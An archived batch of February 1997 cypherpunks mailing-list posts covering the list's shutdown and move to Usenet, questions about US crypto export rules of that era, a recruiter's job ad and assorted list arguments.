-----BEGIN PGP SIGNED MESSAGE-----

John Pearson <john@cognac.apana.org.au> writes:
> In this case, the people you have to convince are the news admins who must
> permit your control message to be honoured; time was most sites ran on
> autopilot, but joke and badly-named groups mean that most news admins
> now drop most newgroup messages on the floor.  These people hang out in
> alt.config, and you should propose the group's creation there, followed
> by a couple of weeks of discussion, hopefully featuring many more 
> supportive messages than non-supportive ones.  After that, a newgroup 
> message stands a much better chance.

alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
consiencous newsadmins probably did not honor the rmgroup, as
alt.cypherpunks should be acceptable, but most newsadmins are too
overworked to actually look at most of the crap that comes through.
For example, it hasn't received any messages on my news server,
probably because the one upstream removed it. 

Therefore, it would be a Good Thing to continue any discussion on
alt.config, and convince any cabal'ers who rmgroup it to re-new it.
Sending out boosters every couple of weeks wouldn't hurt, either. 

alt.cypherpunks'less,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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5KbcB9XZ/raNELW9YAmXByav0yc/FD+r
=rbHX
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 19:35:46 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <0n0xnB200YUh03LyA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

anand abhyankar <anand@querisoft.com> writes:
> i am a bit confused. what exactly are the us govt crypto regulations.

Hard to tell, really...

> what i mean is that :

Oh, this is one of those easy questions!

> 1) is it illegal to develop an encryption tool (s/w) in the US which
> uses > 40 bit size session keys and then export that s/w outside of the
> US.

Yes.

> 2) is it illegal to encrypt some data inside the us with a key > 40 bit
> in size and then send that data outside the US.

No.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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X/o7Khg9WqZcfm2uzOt9RSkaLXvl6Pk4
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 21:07:23 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Dale disses gays.
In-Reply-To: <3303EEC3.61EB@gte.net>
Message-ID: <199702140501.XAA28650@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Huge Cajones Remailer wrote:
> > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.
> 
> > How, Dale, by the smell?
> 
> I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> learned a lot about "signals" during that time.  Bigot?  I don't
> think so.  One of my favorite customers, a nice lady who is Jewish
> (and who grew up where I did) told me she could spot 'em every time.

This is a typical case of overconfidence on her part.

If she thought about it for longer, she would realize that she cannot
benchmark her gay-spotting performance very well.

If you presented her with, say, 100 unknown men and 50 of them were gays
and she'd identify everyone correctly, I would be impressed.

A truly great and simple book that talks about this stuff is ``Decision
Traps: the ten barriers to brilliant decision making''.

> BTW, my browser has a problem with your lines that have no c/r after
> every 70 or so characters. Other people will undoubtedly confirm that.

Yes, we will.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: joburger@mail.evansville.net
Date: Tue, 11 Feb 1997 21:16:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Filling Power Vacuums
Message-ID: <m0vuWxb-000eUIC@evansville.net>
MIME-Version: 1.0
Content-Type: text/plain


> heh. perhaps "leadership" involves more than posting. perhaps there
> is a way to have "leadership" without hierarchy. perhaps "leadership"
> is not equivalent to "management". perhaps sometimes
> you win by losing, and lose by winning. perhaps water is so powerful
> because it is lower than all that which it flows around.

Could you explain the bit about having leadership w/o hierarchy.  Yes 
,if there is an informal leadership such as what Tim was refering to, 
then their is no heirarchy.  However, as soon as people get 
designated as 'leaders' or 'moderators' then one has to have heirechy 
in that no matter how the various pieces of a system are arranged, 
they have to be arranged somehow, even completely at random.

imho (which you seem to have so many of) you could spare the 
pseudo-Zen BS.

 
> <Now, of course, the message is being sent that Sandy Sandfort is in some
> <sense the de facto leader, being that he determines what traffic goes out
> <to the main list and what traffic gets bounced into the flames list. In
> <fact, I'll make a prediction: The media will see that he is the chief
> <censor and arbiter of worthiness and will increasingly contact him for the
> <Official Point of View on various items they are interested in.
> 
> timmy, why are you so upset about the media angle? why do you give the
> slightest damn what the media thinks? answer: because you want to be
> the one they call when they want to know what the cypherpunks think.
> you want them to pay attention to the cypherpunks. in short, you would
> like to have the glamor of a leader, without any of the responsibility.

I don't think he was suggesting this in the least, he is quite 
capable of defending himself.  I don't particularly like the idea of 
someone that I had no part in choosing being seen as representative 
of my views.


 
> I think you would be surprise at the realization that "leaders" exist
> in those so-called "anarchies"


Key word 'so-called'  An anarchie is usually a conceptual ideal that 
is never reached, sorta like a democracy.

> <I am resentful and suspicious of people who _do_ step into the
> <"power vacuum" to lead and control.
> <Now I grant you that Sandy's form of leadership and control is relatively
> 
> apparently in your brain, "lead" == "control"

Dosen't it though?  How else can one 'lead'.  Even if just by setting 
an example the leader is changing the follower's actions, e.g. 
controlling.  Granted the follower is volentarily submitting to this 
control, but it is control none the less.  Most other cases of hard 
leadership are not as nice.


Josh 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 23:21:09 -0800 (PST)
To: Robert Nadra <robertn@dm.net.lb>
Subject: Re: FW: I would like to be out of your mailing list
In-Reply-To: <01BC19D7.EE75ECA0@pm2-s0.dm.net.lb>
Message-ID: <3.0.1.32.19970213231805.00650598@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:00 PM 2/13/97 +0200, you wrote:
>
>I would like to get out of your mailing list , 
>please indicate the correct procedure. Thanks. 

Send mail to cypherpunks-request on the machine sending you mail
saying "help" and you'll get instructions.  Servers include toad.com,
manifold.algebra.com or cyberpass.net.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 13 Feb 1997 23:23:55 -0800 (PST)
To: cypherpunks
Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702140723.XAA25771@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu

The Netly News Network
http://netlynews.com/

A List Goes Down In Flames
by Declan McCullagh (declan@well.com)
February 12, 1997
   
       The plan for the cypherpunks mailing list was simple. It was to be
   an online gathering place, an intellectual mosh pit, dedicated to the
   free flow of ideas and personal privacy through encryption.
   
       Of course it caught on. From its modest beginnings connecting a
   few friends who lived in Northern California, it quickly grew into one
   of the most rowdy, volatile lists on the Net: Cypherpunks typically
   piped more than 100 messages a day into the mailboxes of nearly 2,000
   subscribers. And the list became a kind of crypto-anarchist utopia.
   Populated by pseudonymous posters with names like Black Unicorn, it
   was a corner of cyberspace where PGP signatures and digital cash were
   the norm -- and there were no rules. Then yesterday came the news: The
   list was being evicted and faced imminent shutdown.
   
       In an e-mail seen 'round the Net, John Gilmore, Electronic
   Frontier Foundation cofounder and list maintainer, announced that he
   was no longer willing to provide a virtual home for the cypherpunks.
   In a post entitled "Put Up or Shut Up," he described how his efforts
   to improve the list through moderation were condemned, how technical
   problems were consuming more of his time, how pranksters had tried to
   subscribe the entire U.S. Congress to the list. How this experiment in
   crypto-anarchy had failed. He gave the cypherpunks 10 days to find new
   lodgings.
   
       "The last straw for me was seeing the reaction of the list to
   every attempt to improve it. It was to carp, to cut it down, to say
   you're doing everything wrong," Gilmore told me yesterday night. One
   of the first employees of Sun, Gilmore quit after eight years -- a
   millionaire more interested in pursuing ideas than dollars. But his
   experiment with the list has left him weary. "If everything I'm doing
   is wrong, I'm clearly not the right person to host the list," he said.
   
       "I would like to see some other structure in which the positive
   interactions on the list could continue. I'm not trying to create that
   structure anymore," he added. Instead, he would try the only true
   crypto-anarchist solution: "I'm handing it over to members to do what
   they wish with it."
   
       The cypherpunks first pierced the public's consciousness when
   Wired magazine splashed them across the cover of the second issue. The
   Whole Earth Review and the Village Voice followed soon after. The name
   "cypherpunk" came to be synonymous with a brash young breed of
   digerati who were intent on derailing the White House's encryption
   policies and conquering cyberspace. This was crypto with an attitude.
   
       Gilmore was typical of the breed. Monthly Bay Area meetings of the
   'punks were held in the offices of Cygnus, a company he started to
   provide support for the free Unix alternative, GNU.
   
       But the veteran cypherpunk came under heavy fire in November 1996,
   when a loudmouthed flamer flooded the list with flame bait and ad
   hominem attacks on various members. Finally, Gilmore, ironically, gave
   him the boot -- and incited an all-consuming debate over what the
   concept of censorship means in a forum devoted to opposing it. In a
   society of crypto-anarchists, who should make the rules? The mailing
   list melted down. By last month, it seemed, more messages complained
   about censorship than discussed crypto.
   
       Indeed, for months Gilmore seemed unable to do anything right. He
   tried moderation, which proved to be even more contentious, raising
   the question of empowering one cypherpunk to decide what was
   appropriate for others to read. One member of the group, in effect,
   would be more equal than the rest. And why would members take the time
   to write elaborate, thoughtful articles on crypto-politics if their
   treatises might not make it past the moderator's keyboard?
   
       After the expulsion, some of the longtime list denizens left
   angrily, joining the 700 subscribers who had departed since the
   controversy began. One of those was Tim C. May, a crusty former Intel
   engineer who prides himself as the organizer of the first cypherpunk
   meeting in September 1992. In an essay summarizing the reasons for his
   departure, he wrote: "The proper solution to bad speech is more
   speech, not censorship. Censorship just makes opponents of 'speech
   anarchy' happy -- it affirms their basic belief that censors are
   needed."
   
       After all, May pointed out, the list ended up on Gilmore's
   toad.com machine only by happenstance -- it almost was housed on a
   workstation at the University of California at Berkeley. Ownership of
   the computer with the database of subscribers did not mean that
   Gilmore owned the cypherpunks. "Whatever our group once was, or still
   is, is not dependent on having a particular mailing list running on
   someone's home machine... and it cannot be claimed that any person
   'owns' the cypherpunks group," May wrote.
   
       The cypherpunks have responded to Gilmore's eviction notice. List
   participants generally have halted the incessant attacks on Gilmore,
   and now the discussion has turned to how to continue this experiment
   in online anarchy -- while preventing one person from ever again
   having absolute control of the List. Within hours of Gilmore's
   announcement, posters were tossing around ideas of a distributed
   network of mailing lists that would carry the cypherpunk name, and
   other 'punks likely will migrate to the more tightly controlled
   coderpunks and cryptography lists.
   
       But for the true believers in crypto-anarchy, only one solution is
   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
   precedent... for halting distribution of Usenet newsgroups," Tim May
   wrote. That, in the end, is what defines a cypherpunk.
   
###




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 13 Feb 1997 21:33:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <0n0xNr200YUh03LuM0@andrew.cmu.edu>
Message-ID: <199702140535.XAA01683@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Blatz writes:

> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.
> For example, it hasn't received any messages on my news server,
> probably because the one upstream removed it. 

I haven't seen any rmgroups for alt.cypherpunks.  Paul Bradley's
newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos'
newgroup made it onto the Net, and was reposted the next day by 
usenet@news.myriad.ml.org.

Meanwhile, Paul Bradley seems to have finally figured out newgrouping
and has created...

        alt.cypherpunks.announce
        alt.cypherpunks.social
        alt.cypherpunks.technical

and, of course...

        alt.fan.paul.bradley

The latter has been rmgrouped because it was not discussed in 
alt.config. 

I might suggest that deliberately tweeking the whiskers of the Cabal by
gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 23:27:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <v0300780caf29c520a0a6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:51 AM -0800 2/14/97, anand abhyankar wrote:
>Jeremiah A Blatz wrote:
>
>thanx for ur answer but then i have another question.
>
>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.

There are no import restrictions at this time. The IDEA cipher, for
example, was developed in Europe and U.S. developers can import it and put
in products.

However, once imported it becomes controlled for export again!

Also, it may be a violation of the EAR regs to deliberately seek to bypass
the export laws by arranging for foreign development of a module which is
then "dropped in" when the product is shipped outside the U.S. It may also
be illegal to include "software hooks" for crypto modules to be attached to.

Exactly how far one can go, or what it might take to trigger a government
prosecution for such actions, is unclear. The laws are not very precise,
and court precedents are lacking.

(There are many wrinkles here; you seem to have a lot of questions, which
is good. However, it is best for you to read a comprehensive article on
these issues--use a Web search engine to find the latest versions.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Thu, 13 Feb 1997 20:37:31 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702140437.XAA19547@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz <jer+@andrew.cmu.edu> wrote:

> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.
> For example, it hasn't received any messages on my news server,
> probably because the one upstream removed it. 

Seems I'm getting alt.cypherpunks.announce (empty), but not
alt.cypherpunks or any of the others that show up as newgroup'ed on
Deja News...  Are they alive and well elsewhere? 

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 13 Feb 1997 23:45:56 -0800 (PST)
To: cypherpunks
Subject: Want a job as a Crypto Researcher or Research Scientist?
Message-ID: <199702140745.XAA26571@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I can't vouch for any of it, and I have my doubts about any company
that decides whether you're a "Scientist" based on whether you have a
PhD, but I thought it might put a cypherpunk in a position to do some
good:

Date: Thu, 13 Feb 1997 13:30:52 -0700
From: dnne <dnne@enol.com>
Subject: CRYPTO RESEARCHER OR SCIENTIST

John,

I would greatly appreciate your recommendation.  I am trying to fill a
RESEARCHER and a RESEARCH SCIENTIST position for a leading East Coast
developer of encryption technology for the computer industry.

RESEARCHERS will work in conjunction with Research Scientists on
research projects covering all aspects of cryptography--from
algorithms, to protocols, to implementation.  RESEARCHERS also provide
technical support to software developers and to the company customers
through consulting and educational activities.

RESEARCHERS should have at least a B.S. and preferably an M.S. in
computer science, mathematics, or a closely related field. Solid
exposure to cryptography either through practical experience or within
academic pursuits is highly desirable.

RESEARCH SCIENTIST candidates should have a Ph.D. or equivalent
research experience in cryptography.

This company provides a very competitive compensation and benefits
package as well as company paid relocation benefits.

Thanks,

Dan Barrus
Senior Technical Recruiter
Cutting Edge Technologies
Voice:  800-881-7212
Fax:  801-373-3024





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin Hoogheem <khooghee@marys.smumn.edu>
Date: Thu, 13 Feb 1997 21:45:00 -0800 (PST)
To: roach_s@alph.swosu.edu
Subject: Re: Cypherpunks Mailing List
Message-ID: <9702140550.AA04189@marys.smumn.edu>
MIME-Version: 1.0
Content-Type: text/plain


GET ME off this list!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 23:49:25 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <3.0.1.32.19970213235356.0279f13c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:20 AM 2/14/97 -0800, anand abhyankar wrote:
>1) is it illegal to develop an encryption tool (s/w) in the US which
>uses > 40 bit size session keys and then export that s/w outside of the
>US.

Yes, that's illegal, unless you get permission for the export. Getting
permission requires jumping through many hoops, and is far from a sure thing.
(It's easier to count on not getting permission. You almost certainly won't
get permission if you want to use >40 bits and you're not going to force your
customers to share their keys with the government.) 

Consequently, the US is a bad place to write crypto software if you want to
make it available worldwide. 

>2) is it illegal to encrypt some data inside the us with a key > 40 bit
>in size and then send that data outside the US.

Data which may be exported as plaintext may be exported as ciphertext. Data
which may not be exported as plaintext may not be exported as ciphertext. But
in the latter case, it's harder to catch you. :) 


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Version: 4.5

iQEVAgUBMwQZ6f37pMWUJFlhAQFbUAf/SWehrYRT4wGzPUNTDvF5wQEOBiuq0cZu
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ZvrbIb6UXLxdkz0xTBjGShjfAwGsegJDb9lb83Ha4UaXBAJSV/KdK2Hr7QFJwd5p
gSokXHH8VUb/EF5am/5PvQc0rvXsgHeAx2k77wKNclodVy3E62ymaOt/wf/FIPXW
ZLo9h18b5TtyRqpmqBHvG8h/YVq6edMFf7zcBmPgw1yzh9/LSH3+M7uhJ0JceT6d
fTT6jQUz3+dKDa7rs0s6Kf+X/e10Y0AeJ+kVQgsqsfPqRpFsUjvyLw==
=a1sX
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 22:00:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702140607.AAA05538@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 15:42:48 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)

> I disagree strongly that a controversial or legally troublesome list (or
> other data stream) should be closely associated with a business.

No. IS the business.

> (Also, what is the "right" thing to do where a particular exercise of free
> speech looks like it has serious potential to harm the business, thereby
> harming or eliminating the list which makes the speech possible? Isn't
> every choice a person could make in such a situation reducible to
> "censorship"?)

Get somebody else to do the marketing, your current promoter is incompitent.
I don't think I can accept "personal choice" == "censorship". To my mind
personal choice is a decision I make based on my wants and needs. Cencorship
is a decision about my want and needs made by somebody else. Distinction is
pretty clear to me.

> Every "forum" for free speech occurs exists in the context of economic and
> political relationships - and there will always be some message which
> threatens (to some degree) the stability of those relationships, and by
> implication, the forum itself. Unless we can eliminate economics and
> politics (ha, ha) I think that will always be the case - and there will
> always be some messages which raise "conflict of interest" problems. But
> some forums rest on less stable relationships (like, for example, most
> small businesses) and are more easily threatened by difficult messages.

Everthing exists in a context of economic and political relationship, and
religous ones, and intellectual ones, and historic ones, and cultural ones,
and sexual ones, etc.  Life is inherently unstable, what makes anyone
believe that ANY forum is not under constant threat of extinction? If from
nothing else sheer boredom.

Life ain't that simple.

If there were no "conflict of interest" problems we wouldn't have our
interests in the first place. Also, why do you believe that conflict doesn't
have a market as well?

> It's much easier to disrupt the income stream of a small business than to
> disrupt the income stream from a portfolio of investments or savings.

Depends on where that income stream comes from.

> But
> even a system whose upkeep was funded by something as unremarkable as
> interest on a savings account or a CD would still theoretically be
> "conflicted" were someone to use the system to propose or carry out a
> scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and
> loot various savings & loans. 

Would one of the persons be a owner?

> The threat(s) to systems providing transport/storage for controversial
> messages are not limited to liability after a judgement; it is becoming
> more common for civil plaintiffs to seek (and get) discovery of the actual
> hardware owned and used by defendants, in order to look through the storage
> media for discoverable information, including "deleted" files. The tactics
> the Co$ used against its critics were shocking but also legal (modulo some
> irregularities). It's certainly not unimaginable that similar tactics would
> be used against a remailer or majordomo operator were the list to pass
> traffic that someone didn't like. And if a computer system is the target of
> a search warrant in the criminal arena, you'll be lucky if you get to keep
> your electronic alarm clocks after the search. Count on everything with a
> chip in it going away in the police van.

Irrelevant. Whether the system were private or business would make no
difference to the warrant. The question is,

"Since I run a system on the Internet and may become involved through no fault
of my own with legal difficulties because of my activities how do I pay for
the legal bills and various other consequences?"

Another question affecting financing is,

"Whether I am doing this for fun or business the cost will be the same. From
a effort and resources perspective, including the realities of the tax code
and cash flow, which is in my best interest?"

I would also offer that it isn't in the best interest of any party to shut a
Internet site of some report down. Consider the cypherpunks mailing list.
Assume for a moment that the remailer was to mysteriously disappear tonite
at midnite. If Sandy or somebody didn't put something up within a day or two
entirely too many people would start asking "whaz up?" The most successful
strategy would be to impose some sort of continous drain on the business
until it seemed to fold of natural causes. I contend that a business will
hold out much longer than most individuals will.

> Most businesses don't want to expose themselves to the threat of civil or
> criminal seizure or discovery, especially not at random times and for
> non-business reasons.

Exactly! It isn't a weakness, it's a strength.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 13 Feb 1997 11:19:25 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: N.Y. judge rules for Planned Parenthood in web site case
Message-ID: <199702140049.AAA00318@fountainhead.net>
MIME-Version: 1.0
Content-Type: text


*** N.Y. judge rules for Planned Parenthood in web site case

A federal judge has temporarily stopped an abortion foe from
identifying his web site as belonging to Planned Parenthood and
selling an anti-abortion book from that home page. The temporary
restraining order, issued Wednesday, stops Richard Bucci from
identifying his home page as "Planned Parenthood's Home Page" and
using "plannedparenthood.com" as a domain name. Planned Parenthood,
which has its own web site, sued Bucci for trademark infringement. The
next hearing is slated for Feb. 20. For the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 13 Feb 1997 11:19:18 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: CompuServe reports e-mail court victory
Message-ID: <199702140050.AAA00329@fountainhead.net>
MIME-Version: 1.0
Content-Type: text


*** CompuServe reports e-mail court victory

CompuServe, after winning a court decision making unauthorized junk
e-mail illegal, responded Thursday to a report that Cyber Promotions,
Inc., a commercial mass e-mailer, would not accept a federal court's
halting of its spamming activities directed against CompuServe
subscribers. Cyber Promotions indicated that it would appeal the
decision, which follows the settlement of a similar suit. That
settlement allows Cyber Promotions to send junk e-mail to another
Internet service provider's members. CompuServe said its goal "was to
see this through to a binding court decision." For the full text
story, see http://www.merc.com/stories/cgi/story.cgi?id=1425511-f29

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Fri, 14 Feb 1997 01:08:11 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702131535.JAA20917@manifold.algebra.com>
Message-ID: <m2hgjfn4ek.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> [...] 
> Given that _political_ discussions of crypto are now encouraged in
> _talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think
> political and social essays dealing with crypto anarchy, offshore
> databases, undermining governments, etc., will be welcome in the "comp"
> hierarchy?
> 
> I rather doubt it. And I would bet that if comp.org.cypherpunks is ever
> approved, those who dislike crypto anarchy and sociopolitical chatter will
> use the "comp" name to try to suppress such discussions.
> [...]

I think that the statement of our desire to create a new group
should clearly indicate that the discussion
group is of a special nature due to the tight integration of
technical and political discussions. Cypherpunks are trying to achieve 
political goals through technological means, so it is difficult, and
not regarded as desirable to produce a false dichotomy for discussions. 
As an example, we could cite the Linux newsgroups like comp.os.linux.misc. 
Linux is a piece of software written
to help achieve a political goal, and, thus, in the Linux groups
it is not considered off-topic to philosophize about
these goals or the future as and after Linux knocks Microsoft out of
the market. :)

talk.politics.crypto and sci.crypt can, then, easily be argued 
against since the discussions there are much more 
restricted than what we desire.

> [...] You really think whoever is spamming the list with ASCII art and
> broke into Paul's account to post hundreds of "John Gilmore is a
> cocksucker" posts will back off because of the "dedication" of some? To the
> perverse personality, this is merely a greater challenge and temptation.
> [...] 
 
Given that you have been on the list a great deal longer than
I, I do respect that you may have deeper insights into the
mind of the "perverse personality" than I do. I, however, am
not aware of evidence that the person or persons behind the
disruptions since the middle of last year would try to interrupt
a democratic USENET creation vote. My recollection of the
history is that the initial attacks were directed at you personally.
Dr. Vulis was blamed for them and thus, apparently, became
the target of nasty e-mailings to his site. He responded to
this by spamming the list with rather large articles
on Armenian war crimes and forwardings of the messages. At that point 
Gilmore booted Vulis.
Gilmore then became a target of attack and, it seems
that many (presumably) innocent bystanders were unwittingly
subscribed to the list in an effort to cause more
work, and, hence, annoyance to Gilmore when they complained
about the unwanted mail. At this point many new personalities
seemed to materialize out of nowhere bent on doing
nothing more than fueling flame wars. Then the "moderation 
experiment" (fiasco)... I do not see in this evidence, however, that
any of the disruptors would target the process of the
creating a new group USENET group. At first, the
the disruptor could easily have rationalized that anonymous, personal
attacks were fair play, since anarachists favour no explicit rules
with regards to speech. After Vulis was removed by Gilmore
the disruptor could then rationalize that "anything goes" since
list had then passed from a state of anarchy to one with
Gilmore trying to decide who could or not be on the list.
(I do not think that these conjectued rationalizations are valid
myself, but am just trying to give an my thoughts on the
psychology of the "perverse personality".)

USENET nesgroup creation is whole new ball game, however.
There are explicitly defined rules and the process
is intended to be democratic. If my guess as to the identity of the 
person masterminding the  attacks is correct, that person seems to have
democratic sympathies or, at least, be strongly opposed to even
hints of censorship, so I do not think he would attempt
to disrupt the process of deciding if a new group
is created or not since that would both be inferring
in a democratic process and an attempt to prevent
a group of people from creating a discussion group, and thus, himself,
becoming a censor.  (This makes me think that given that the process is 
intended to be democratic, it may be more fitting that
a more anarchisticly method is used to create
an "alt.*" group for cyphepunks than the democratic one
used to create a "comp.*" one.)

In any case, if you have deeper insights than mine into the mind of
the disruptor, or evidence that he or she or them would
try to disrupt a comp.* newsgroup creation proces, I
would be eager to hear them.

Leonard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Philipp <adam@rosa.com>
Date: Fri, 14 Feb 1997 01:15:14 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: Re: crypto restrictions
In-Reply-To: <199702140711.XAA25330@toad.com>
Message-ID: <3.0.1.32.19970214011504.009d2a80@mail.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:51 AM 2/14/97 -0800, anand abhyankar wrote:
>Jeremiah A Blatz wrote:
>
>thanx for ur answer but then i have another question.
>
>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.
>
>anand....
>

Not under US law... 

-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
